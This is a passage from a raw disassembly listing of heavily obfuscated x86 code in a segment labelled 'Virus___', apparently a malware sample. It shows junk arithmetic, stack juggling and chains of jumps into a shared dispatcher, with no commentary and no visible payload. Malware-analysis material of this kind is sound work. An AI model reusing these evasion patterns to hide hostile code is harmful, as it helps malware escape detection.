		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_57B5BC
; ---------------------------------------------------------------------------


loc_57CE71:				; CODE XREF: Virus___:00578DADj
		sub	cl, 23h
		sub	cl, 59h
		jmp	loc_579E10
; ---------------------------------------------------------------------------


loc_57CE7C:				; CODE XREF: Virus___:0057DCB0j
		neg	eax
		add	eax, 0CE4B1DCFh
		mov	ebp, 0CC508E9h
		xor	ebp, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 70927420h
		add	ebx, ebp
		jmp	loc_57A91D
; ---------------------------------------------------------------------------


loc_57CEA9:				; CODE XREF: Virus___:00575F75j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57CEAE:				; CODE XREF: Virus___:00574823j
		not	ebp
		shl	ebp, 2
		xor	ebp, 373D494Ah
		push	eax
		jmp	loc_578F8A
; ---------------------------------------------------------------------------


loc_57CEBF:				; CODE XREF: Virus___:0057E103j
		xchg	eax, [esp]
		jmp	loc_576E7C
; ---------------------------------------------------------------------------


loc_57CEC7:				; CODE XREF: Virus___:00574831j
		sub	esi, 682809E7h
		push	ebx
		mov	ebx, 6725C443h
		add	esi, ebx
		jmp	loc_57CCF6
; ---------------------------------------------------------------------------


loc_57CEDA:				; CODE XREF: Virus___:0057D37Bj
		add	bl, 0FFh
		sub	bl, 25h
		sub	ch, bl
		pop	ebx
		jmp	loc_574A5C
; ---------------------------------------------------------------------------


loc_57CEE8:				; CODE XREF: Virus___:0057CC35j
		mov	edi, 79B17D8h
		shr	edi, 3
		add	edi, 3A3C6B50h
		inc	edi
		xor	edi, 4B350F20h
		jmp	loc_577099
; ---------------------------------------------------------------------------


loc_57CF02:				; CODE XREF: Virus___:0057BBFFj
		add	edx, edi
		add	edx, 416C7597h
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_57AB73
; ---------------------------------------------------------------------------


loc_57CF18:				; CODE XREF: Virus___:0057E198j
		pop	dword ptr [esp]
		push	edx
		mov	edx, 4
		add	dword ptr [esp+4], 68A95BD0h
		jmp	loc_579C16
; ---------------------------------------------------------------------------


loc_57CF2E:				; CODE XREF: Virus___:00576A95j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_577FBC
; ---------------------------------------------------------------------------


loc_57CF47:				; CODE XREF: Virus___:0057DC44j
		inc	edx
		shl	edx, 4
		sub	edx, 0CD8F9F50h
		mov	esi, edx
		pop	edx
		xor	esi, 5D331AABh
		push	ecx
		jmp	loc_575BE3
; ---------------------------------------------------------------------------


loc_57CF60:				; CODE XREF: Virus___:005741ECj
		xor	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_57B9C5
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_57399E
; ---------------------------------------------------------------------------


loc_57CF7A:				; CODE XREF: Virus___:00579A8Dj
		pop	ebp
		not	ebp
		inc	ebp
		jmp	loc_5752F1
; ---------------------------------------------------------------------------


loc_57CF83:				; CODE XREF: Virus___:00576450j
		mov	eax, 4B5F7F8Ch
		shl	eax, 3
		add	eax, 1F1D0464h
		jmp	loc_5751A4
; ---------------------------------------------------------------------------


loc_57CF95:				; CODE XREF: Virus___:0057480Cj
		pop	eax
		push	edx
		mov	edx, 4
		jmp	loc_57BF5C
; ---------------------------------------------------------------------------


loc_57CFA1:				; CODE XREF: Virus___:0057BE3Cj
		add	al, 96h
		jmp	loc_576B15
; ---------------------------------------------------------------------------


loc_57CFA8:				; CODE XREF: Virus___:0057B76Aj
		xor	bl, al
		jmp	loc_572BEF
; ---------------------------------------------------------------------------


loc_57CFAF:				; CODE XREF: Virus___:0057842Bj
		add	ecx, 4
		jmp	loc_57C0A5
; ---------------------------------------------------------------------------


loc_57CFBA:				; CODE XREF: Virus___:0057EFCFj
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edi
		push	esi
		push	edx
		mov	edx, 0C085F4Ah
		jmp	loc_57DC42
; ---------------------------------------------------------------------------


loc_57CFDA:				; CODE XREF: Virus___:0057C14Ej
		push	147Ah
		mov	[esp], eax
		jmp	loc_57BD25
; ---------------------------------------------------------------------------


loc_57CFE7:				; CODE XREF: Virus___:0057D310j
		cmp	ecx, eax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57CFEF:				; CODE XREF: Virus___:0057A9B6j
		sub	al, 87h
		add	al, 0ADh
		jmp	loc_57D9F1
; ---------------------------------------------------------------------------


loc_57CFF8:				; CODE XREF: Virus___:0057DCFBj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 4
		add	ebp, 2
		push	edi
		mov	edi, esp
		jmp	loc_57EB1F
; ---------------------------------------------------------------------------


loc_57D018:				; CODE XREF: Virus___:0057346Fj
		add	bl, 87h
		jmp	loc_573CEA
; ---------------------------------------------------------------------------


loc_57D020:				; CODE XREF: Virus___:00579646j
		push	ebp
		mov	ebp, esp
		jmp	loc_572A39
; ---------------------------------------------------------------------------


loc_57D028:				; CODE XREF: Virus___:005792A4j
		sub	ebx, 76BC2B00h
		add	ebx, eax
		add	ebx, 76BC2B00h
		sub	ebx, 6B667F69h
		push	edi
		push	ebp
		push	59B67821h
		pop	ebp
		xor	ebp, 0C546307h
		sub	ebp, 479B0FDCh
		jmp	loc_5770C6
; ---------------------------------------------------------------------------


loc_57D055:				; CODE XREF: Virus___:0057B49Dj
		xor	edx, 9881226Bh
		jmp	loc_57B575
; ---------------------------------------------------------------------------


loc_57D060:				; CODE XREF: Virus___:005757F4j
		mov	edi, 4B72EE4h
		add	edi, 1734C82h
		not	edi
		xor	edi, 9318EF1Fh
		sub	ecx, 499F4612h
		sub	ecx, edi
		add	ecx, 499F4612h
		mov	edi, [esp]
		add	esp, 4
		and	eax, ecx
		pop	ecx
		shr	eax, 8
		xor	eax, ecx
		push	1D2Fh
		mov	[esp], eax
		jmp	loc_57720A
; ---------------------------------------------------------------------------


loc_57D09F:				; CODE XREF: Virus___:00578422j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_57967B
; ---------------------------------------------------------------------------


loc_57D0B3:				; CODE XREF: Virus___:0057D928j
		sub	ecx, esi
		pop	esi
		push	412Bh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57542F
; ---------------------------------------------------------------------------


loc_57D0CD:				; CODE XREF: Virus___:00578FD4j
		sub	eax, 350334B0h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57C28B
; ---------------------------------------------------------------------------


loc_57D0E0:				; CODE XREF: Virus___:00573DCCj
		sub	esi, 27837DF3h
		xor	esi, 3AF5B092h
		jmp	loc_5757F9
; ---------------------------------------------------------------------------


loc_57D0F1:				; CODE XREF: Virus___:0057408Aj
		mov	ebp, [esp]
		jmp	loc_57C84E
; ---------------------------------------------------------------------------


loc_57D0F9:				; CODE XREF: Virus___:005753A9j
		pop	ecx
		sub	dword ptr [esp+4], 1B8A5662h
		add	[esp+4], ebp
		add	dword ptr [esp+4], 1B8A5662h
		pop	ebp
		push	ecx
		mov	ecx, 37AF6B81h
		sub	[esp+4], ecx
		pop	ecx
		jmp	loc_57CC93
; ---------------------------------------------------------------------------


loc_57D11F:				; CODE XREF: Virus___:00577BA3j
		add	eax, 0DA6F990Bh
		jmp	loc_57916B
; ---------------------------------------------------------------------------


loc_57D129:				; CODE XREF: Virus___:0057C50Cj
					; Virus___:0057E18Cj
		sub	esp, 4
		mov	[esp], ebx
		push	7A526370h
		pop	ebx
		xor	ebx, ebp
		jmp	loc_57342F
; ---------------------------------------------------------------------------


loc_57D13F:				; CODE XREF: Virus___:005796B7j
		shl	ebx, 5
		add	ebx, 821D2184h
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_578932
; ---------------------------------------------------------------------------


loc_57D15A:				; CODE XREF: Virus___:0057ACE0j
		push	esi
		mov	esi, 0B0E04h
		sub	ebx, esi
		pop	esi
		add	esi, ebx
		jmp	loc_57A6F2
; ---------------------------------------------------------------------------


loc_57D16A:				; CODE XREF: Virus___:0057B043j
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57D17A:				; CODE XREF: Virus___:0057D975j
		mov	di, 7483h
		mov	bx, 1157h
		jmp	loc_576C17
; ---------------------------------------------------------------------------


loc_57D187:				; CODE XREF: Virus___:0057C3A5j
		neg	bl
		or	bl, 8Eh
		jmp	loc_575325
; ---------------------------------------------------------------------------


loc_57D191:				; CODE XREF: Virus___:00572D72j
		shr	edi, 7
		sub	edi, 0F4BE97h
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_57D9B7
; ---------------------------------------------------------------------------


loc_57D1AD:				; CODE XREF: Virus___:0057B408j
		sub	edi, 24624ECDh
		add	edi, ebx
		push	ecx
		mov	ecx, 24624ECDh
		jmp	loc_57AB86
; ---------------------------------------------------------------------------


loc_57D1C0:				; CODE XREF: Virus___:00575F1Ej
		xchg	edi, [esp]
		pop	esp
		push	ecx
		mov	ch, dl
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_574A6E
; ---------------------------------------------------------------------------


loc_57D1D5:				; CODE XREF: Virus___:0057D298j
		mov	eax, [esp]
		jmp	loc_578A3A
; ---------------------------------------------------------------------------


loc_57D1DD:				; CODE XREF: Virus___:0057BC59j
		push	edx
		jmp	loc_57DA3B
; ---------------------------------------------------------------------------


loc_57D1E3:				; CODE XREF: Virus___:00579FFAj
		or	ebp, ebx
		pop	ebx
		jmp	loc_57315B
; ---------------------------------------------------------------------------


loc_57D1EB:				; CODE XREF: Virus___:00579C86j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_57A49D
; ---------------------------------------------------------------------------


loc_57D1F6:				; CODE XREF: Virus___:0057B7B5j
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		jmp	loc_578989
; ---------------------------------------------------------------------------


loc_57D212:				; CODE XREF: Virus___:00574A15j
		xor	[esp], ebp
		jmp	loc_5752C1
; ---------------------------------------------------------------------------


loc_57D21A:				; CODE XREF: Virus___:0057E5FEj
		mov	esp, [esp]
		test	ecx, eax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57D225:				; CODE XREF: Virus___:005741E6j
		shr	eax, 18h
		xor	eax, ecx
		xor	eax, edi
		xor	edi, eax
		jmp	loc_5748E1
; ---------------------------------------------------------------------------


loc_57D233:				; CODE XREF: Virus___:0057A77Dj
		shr	edi, 6
		push	edx
		mov	edx, 40472F89h
		xor	edi, edx
		pop	edx
		mov	ebp, edi
		jmp	loc_57E19D
; ---------------------------------------------------------------------------


loc_57D246:				; CODE XREF: Virus___:00579A1Cj
		push	edx
		mov	edx, 3DCD4390h
		not	edx
		xor	edx, 5F873E4Bh
		add	edx, 478E23AFh
		not	edx
		sub	edx, 1ABC5A28h
		mov	ebp, edx
		pop	edx
		jmp	loc_572ED9
; ---------------------------------------------------------------------------


loc_57D26A:				; CODE XREF: Virus___:0057519Fj
		add	ebp, 4A30C286h
		and	edx, ebp
		jmp	loc_578D77
; ---------------------------------------------------------------------------


loc_57D277:				; CODE XREF: Virus___:00575A47j
		pop	edi
		jmp	loc_57B8DA
; ---------------------------------------------------------------------------


loc_57D27D:				; CODE XREF: Virus___:005734C6j
		mov	ebx, 292E3307h
		add	ebx, 772673B1h
		push	1F6Ch
		jmp	loc_577479
; ---------------------------------------------------------------------------


loc_57D292:				; CODE XREF: Virus___:005794BBj
		add	edi, 5DF7941h
		jmp	loc_57D1D5
; ---------------------------------------------------------------------------


loc_57D29D:				; CODE XREF: Virus___:005736C5j
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 211A58B9h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 72E87238h
		xor	ebp, edi
		jmp	loc_57956A
; ---------------------------------------------------------------------------


loc_57D2C1:				; CODE XREF: Virus___:0057D5FFj
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_57AB07
; ---------------------------------------------------------------------------


loc_57D2DA:				; CODE XREF: Virus___:0057758Cj
		push	5D29h
		mov	[esp], ebx
		pop	ebp
		push	ebp
		pop	ebx
		mov	ebp, [esp]
		push	73E4h
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		jmp	loc_57BBDA
; ---------------------------------------------------------------------------


loc_57D2F8:				; CODE XREF: Virus___:00579D6Dj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5796BC
; ---------------------------------------------------------------------------


loc_57D304:				; CODE XREF: Virus___:00576AC1j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_57CFE7
; ---------------------------------------------------------------------------


loc_57D315:				; CODE XREF: Virus___:0057A64Ej
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edi
		jmp	loc_57B4C7
; ---------------------------------------------------------------------------


loc_57D325:				; CODE XREF: Virus___:0057AD02j
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57D333:				; CODE XREF: Virus___:0057E789j
		xor	bp, 451Dh
		sub	dx, bp
		pop	ebp
		sub	dx, 0DDEEh
		sub	ax, 1B89h
		sub	ax, 2C3Eh
		jmp	loc_574E51
; ---------------------------------------------------------------------------


loc_57D34E:				; CODE XREF: Virus___:0057BE8Fj
		not	ecx
		jmp	loc_57E662
; ---------------------------------------------------------------------------


loc_57D355:				; CODE XREF: Virus___:0057C020j
		not	dword ptr [esp]
		pop	ebp
		push	5D9Fh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_576AA5
; ---------------------------------------------------------------------------


loc_57D376:				; CODE XREF: Virus___:00579E50j
		sub	bl, 1
		not	bl
		jmp	loc_57CEDA
; ---------------------------------------------------------------------------


loc_57D380:				; CODE XREF: Virus___:00579B04j
		push	eax
		mov	eax, 3E7700E4h
		or	eax, 7F8B69ECh
		not	eax
		push	ecx
		mov	ecx, 0BE48E808h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, eax
		jmp	loc_575CC0
; ---------------------------------------------------------------------------


loc_57D3A2:				; CODE XREF: Virus___:0057EDF6j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2E6F274Dh
		xor	edi, 4C0D264Ch
		jmp	loc_57F01E
; ---------------------------------------------------------------------------


loc_57D3C4:				; CODE XREF: Virus___:0057974Dj
		mov	edx, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		shl	esi, 8
		jmp	loc_57BFF5
; ---------------------------------------------------------------------------


loc_57D3DE:				; CODE XREF: Virus___:0057ECA3j
		mov	ecx, 62D71970h
		mov	ebp, ecx
		pop	ecx
		xor	esi, ebp
		jmp	loc_573E75
; ---------------------------------------------------------------------------


loc_57D3ED:				; CODE XREF: Virus___:0057E619j
		inc	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		push	3EBB7E1Eh
		pop	ebp
		jmp	loc_57A8C2
; ---------------------------------------------------------------------------


loc_57D403:				; CODE XREF: Virus___:00573B96j
		xor	ebp, [esp]
		jmp	loc_57479D
; ---------------------------------------------------------------------------


loc_57D40B:				; CODE XREF: Virus___:0057691Dj
		shr	ebp, 3
		jmp	loc_57C29E
; ---------------------------------------------------------------------------


loc_57D413:				; CODE XREF: Virus___:005756F2j
		pop	eax
		jmp	loc_57833E
; ---------------------------------------------------------------------------


loc_57D419:				; CODE XREF: Virus___:00579253j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_577DB9
; ---------------------------------------------------------------------------


loc_57D427:				; CODE XREF: Virus___:005797A3j
		push	esp
		pop	edx
		jmp	loc_57B27D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_577BA8
; ---------------------------------------------------------------------------


loc_57D440:				; CODE XREF: Virus___:0057CCD4j
		neg	dl
		jmp	loc_579605
; ---------------------------------------------------------------------------


loc_57D447:				; CODE XREF: Virus___:0057768Dj
		mov	edi, 0E913F4Eh
		or	ebp, edi
		pop	edi
		sub	ebp, 16A261FCh
		jmp	loc_57AE27
; ---------------------------------------------------------------------------


loc_57D45A:				; CODE XREF: Virus___:00573E2Cj
		mov	[esp], ebp
		mov	ebp, 2
		add	edi, 1CDD50FFh
		sub	edi, 70502C3Ch
		add	edi, ebp
		push	ebp
		mov	ebp, 70502C3Ch
		push	ebx
		push	eax
		mov	eax, 46906E73h
		mov	ebx, 5C9B3AA6h
		xor	ebx, eax
		jmp	loc_576053
; ---------------------------------------------------------------------------


loc_57D489:				; CODE XREF: Virus___:00577A7Aj
		sub	edi, ebp
		sub	edi, 31220BDh
		pop	ebp
		jmp	loc_57504E
; ---------------------------------------------------------------------------


loc_57D497:				; CODE XREF: Virus___:0057674Fj
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		mov	edx, 1
		jmp	loc_575CE4
; ---------------------------------------------------------------------------


loc_57D4B4:				; CODE XREF: Virus___:0057562Ej
		push	6BAh
		mov	[esp], ebp
		push	edx
		mov	edx, 4
		push	edx
		mov	ebp, [esp]
		jmp	loc_57DEF5
; ---------------------------------------------------------------------------


loc_57D4CB:				; CODE XREF: Virus___:00577E05j
		shl	edi, 8
		shr	edi, 6
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_579AED
; ---------------------------------------------------------------------------


loc_57D4DF:				; CODE XREF: Virus___:005751CAj
		pop	ebp
		jmp	loc_5793B9
; ---------------------------------------------------------------------------


loc_57D4E5:				; CODE XREF: Virus___:0057A8F4j
		mov	ecx, 73C248DDh
		sub	esi, ecx
		pop	ecx
		pop	eax
		and	ecx, esi
		pop	esi
		shr	ecx, 7
		push	3E23h
		mov	[esp], ebx
		jmp	loc_578825
; ---------------------------------------------------------------------------


loc_57D501:				; CODE XREF: Virus___:0057BDCBj
		push	esi
		mov	esi, 243B7D2Eh
		sub	esi, 745D179Eh
		inc	esi
		and	esi, 33607C9Dh
		jmp	loc_57ACB9
; ---------------------------------------------------------------------------


loc_57D519:				; CODE XREF: Virus___:00579ED1j
		mov	edi, eax
		push	ebx
		mov	ebx, edi
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_57C8B9
; ---------------------------------------------------------------------------


loc_57D52C:				; CODE XREF: Virus___:0057C255j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		movsx	cx, al
		push	53C8h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		push	esi
		push	4
		pop	esi
		add	eax, esi
		jmp	loc_57B5FD
; ---------------------------------------------------------------------------


loc_57D560:				; CODE XREF: Virus___:0057A658j
		xor	[esp], ebp
		jmp	loc_57C781
; ---------------------------------------------------------------------------


loc_57D568:				; CODE XREF: Virus___:0057A2B3j
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5779D4
; ---------------------------------------------------------------------------


loc_57D585:				; CODE XREF: Virus___:0057573Dj
		add	edx, 4
		jmp	loc_57A298
; ---------------------------------------------------------------------------


loc_57D590:				; CODE XREF: Virus___:005776D6j
		shl	dword ptr [esp], cl
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57D598:				; CODE XREF: Virus___:0057584Aj
		pop	esp
		mov	[ebx], edi
		push	dword ptr [esp]
		jmp	loc_57C4FF
; ---------------------------------------------------------------------------


loc_57D5A3:				; CODE XREF: Virus___:0057B3E0j
		push	ebp
		jmp	loc_575EAE
; ---------------------------------------------------------------------------


loc_57D5A9:				; CODE XREF: Virus___:005798E6j
		push	eax
		jmp	loc_57761D
; ---------------------------------------------------------------------------


loc_57D5AF:				; CODE XREF: Virus___:0057C5ABj
		add	edx, 4
		push	1B04h
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_576DA9
; ---------------------------------------------------------------------------


loc_57D5C7:				; CODE XREF: Virus___:0057C6E1j
		inc	edx
		push	edi
		mov	edi, 1F415CEAh
		push	ebx
		jmp	loc_57CA5A
; ---------------------------------------------------------------------------


loc_57D5D4:				; CODE XREF: Virus___:0057C64Aj
		pop	ebx
		push	ebp
		jmp	loc_575500
; ---------------------------------------------------------------------------


loc_57D5DB:				; CODE XREF: Virus___:0057BB49j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	eax
		sub	[edi+24h], esi
		mov	esi, [esp]
		jmp	loc_579A43
; ---------------------------------------------------------------------------


loc_57D5FA:				; CODE XREF: Virus___:0057E65Dj
		mov	edi, 4
		jmp	loc_57D2C1
; ---------------------------------------------------------------------------


loc_57D604:				; CODE XREF: Virus___:0057EEECj
		add	cl, 9Ah
		sub	al, cl
		pop	ecx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_57ED84
; ---------------------------------------------------------------------------


loc_57D61C:				; CODE XREF: Virus___:00573D3Fj
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 39AA1DD7h
		jmp	loc_57AC62
; ---------------------------------------------------------------------------


loc_57D62A:				; CODE XREF: Virus___:0057917Ej
		mov	dl, 3Bh
		sub	al, dl
		jmp	loc_57B2BF
; ---------------------------------------------------------------------------


loc_57D633:				; CODE XREF: Virus___:00579455j
		add	edx, 1DBB08C0h
		add	edx, ebp
		sub	edx, 1DBB08C0h
		pop	ebp
		add	edx, 4041424Ah
		jmp	loc_57AAE5
; ---------------------------------------------------------------------------


loc_57D64D:				; CODE XREF: Virus___:00572ED4j
		add	ecx, edi
		add	ecx, 6E242C28h
		push	edi
		mov	edi, 2DA46A9Dh
		jmp	loc_57A5DC
; ---------------------------------------------------------------------------


loc_57D660:				; CODE XREF: Virus___:0057CCF1j
		xor	esi, 6BC04D1Ah
		jmp	loc_575313
; ---------------------------------------------------------------------------


loc_57D66B:				; CODE XREF: Virus___:0057BCF4j
		push	800h
		mov	ebx, [esp]
		jmp	loc_57EC0F
; ---------------------------------------------------------------------------


loc_57D678:				; CODE XREF: Virus___:005736D0j
		push	2B41h
		mov	[esp], ebp
		push	edi
		push	60977FB4h
		jmp	loc_57EF6B
; ---------------------------------------------------------------------------


loc_57D68B:				; CODE XREF: Virus___:00577A4Bj
		push	56827A18h
		mov	eax, [esp]
		add	esp, 4
		or	eax, 68BB1F11h
		xor	eax, 36176874h
		push	edi
		mov	edi, eax
		jmp	loc_5772B0
; ---------------------------------------------------------------------------


loc_57D6A8:				; CODE XREF: Virus___:005740C5j
		add	ebp, 60742742h
		sub	ebp, 5B323FF0h
		jmp	loc_577282
; ---------------------------------------------------------------------------


loc_57D6B9:				; CODE XREF: Virus___:0057B126j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 278031ADh
		jmp	loc_575A3C
; ---------------------------------------------------------------------------


loc_57D6C9:				; CODE XREF: Virus___:0057EF0Fj
		add	al, 1Fh
		jmp	loc_578652
; ---------------------------------------------------------------------------


loc_57D6D0:				; CODE XREF: Virus___:0057643Fj
		mov	ebp, 2CD633A0h
		xor	ebp, 45CC6424h
		neg	ebp
		add	ebp, 98366271h
		jmp	loc_57B625
; ---------------------------------------------------------------------------


loc_57D6E8:				; CODE XREF: Virus___:0057E64Cj
		xchg	ebp, edx
		add	edx, 59343CDAh
		jmp	loc_57BFB0
; ---------------------------------------------------------------------------


loc_57D6F5:				; CODE XREF: Virus___:00578C53j
		and	esi, 5CB204F9h
		push	eax
		mov	eax, 556B2F92h
		dec	eax
		push	edx
		mov	edx, 50B123D0h
		neg	edx
		xor	edx, 60E506C1h
		add	edx, 0B823D73Eh
		sub	eax, edx
		pop	edx
		sub	esi, eax
		pop	eax
		mov	eax, esi
		pop	esi
		add	eax, esi
		pop	esi
		sub	[edi+24h], eax
		mov	eax, [esp]
		add	esp, 4


loc_57D72E:				; CODE XREF: Virus___:00579F05j
		push	7290h
		mov	[esp], ebx
		mov	eax, [esp]
		push	6E5Ch
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebx
		mov	ebx, 4
		add	eax, 7D177B5h
		add	eax, ebx
		sub	eax, 7D177B5h
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		mov	ecx, [esp]
		jmp	loc_57C0F0
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57D779:				; CODE XREF: Virus___:00576CF8j
		push	ecx
		push	eax
		mov	eax, 73894CB4h
		add	eax, 23955A5Bh
		not	eax
		sub	eax, 567A4928h
		not	eax
		add	eax, 6E1D157Fh
		sub	eax, 36A1FBE6h
		mov	ecx, eax
		pop	eax
		and	ecx, 48091074h
		push	eax
		mov	eax, 24E30A78h
		or	eax, 1B6B3017h
		jmp	loc_578098
; ---------------------------------------------------------------------------


loc_57D7B1:				; CODE XREF: Virus___:0057703Fj
		xor	eax, 49DB6979h
		add	ecx, eax
		pop	eax
		jmp	loc_57BCA9
; ---------------------------------------------------------------------------


loc_57D7BE:				; CODE XREF: Virus___:005774DEj
		xor	ebp, 54766C47h
		jmp	loc_57870C
; ---------------------------------------------------------------------------


loc_57D7C9:				; CODE XREF: Virus___:0057960Bj
		mov	[esp], ecx
		jmp	loc_576977
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 18156852h, 22E90000h
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57D7DF:				; CODE XREF: Virus___:00576E34j
		add	ebp, edi
		pop	edi
		push	5C7Fh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		push	5CE1219Dh
		jmp	loc_573B7F
; ---------------------------------------------------------------------------


loc_57D7FD:				; CODE XREF: Virus___:00576BEDj
		and	edi, 339964ECh
		jmp	loc_578C04
; ---------------------------------------------------------------------------


loc_57D808:				; CODE XREF: Virus___:00577504j
		and	eax, ecx
		jmp	loc_57CAF8
; ---------------------------------------------------------------------------


loc_57D80F:				; CODE XREF: Virus___:00573D45j
		sub	eax, 31EB2FF7h
		add	eax, 5E3631C1h
		jmp	loc_57A2C5
; ---------------------------------------------------------------------------


loc_57D81E:				; CODE XREF: Virus___:005778D4j
		sub	esi, ebp
		jmp	loc_578BBD
; ---------------------------------------------------------------------------


loc_57D825:				; CODE XREF: Virus___:00575989j
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_575ECC
; ---------------------------------------------------------------------------


loc_57D82F:				; CODE XREF: Virus___:0057B620j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57D834:				; CODE XREF: Virus___:0057C883j
		mov	[esp], edx
		push	46F6h
		mov	[esp], eax
		push	ecx
		push	1C0409E1h
		jmp	loc_579052
; ---------------------------------------------------------------------------


loc_57D84A:				; CODE XREF: Virus___:0057C404j
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		cmp	cl, al
		pushf
		jmp	loc_575A7C
; ---------------------------------------------------------------------------


loc_57D864:				; CODE XREF: Virus___:00573792j
		shl	eax, 6
		add	eax, 0D9D1CC04h
		add	edx, eax
		pop	eax
		add	edx, 4
		jmp	loc_57642D
; ---------------------------------------------------------------------------


loc_57D877:				; CODE XREF: Virus___:005788BAj
		pop	cx
		add	dl, 8
		add	dl, 0C6h
		push	ebx
		mov	bl, 17h
		jmp	loc_577AB0
; ---------------------------------------------------------------------------


loc_57D887:				; CODE XREF: Virus___:00575470j
		imul	cl
		movzx	cx, ah
		push	618h
		jmp	loc_572C1D
; ---------------------------------------------------------------------------


loc_57D897:				; CODE XREF: Virus___:0057A279j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	0
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	ebx, 43E04619h
		jmp	loc_579836
; ---------------------------------------------------------------------------


loc_57D8CF:				; CODE XREF: Virus___:0057EF3Aj
		add	edi, edx
		pop	edx
		jmp	loc_5753CC
; ---------------------------------------------------------------------------


loc_57D8D7:				; CODE XREF: Virus___:00576C8Bj
		pop	edx
		push	ebx
		mov	ebx, 0BBB1E101h
		add	edx, 7D7F784Bh
		add	edx, ebx
		sub	edx, 7D7F784Bh
		pop	ebx
		mov	esi, edx
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_577B2B
; ---------------------------------------------------------------------------


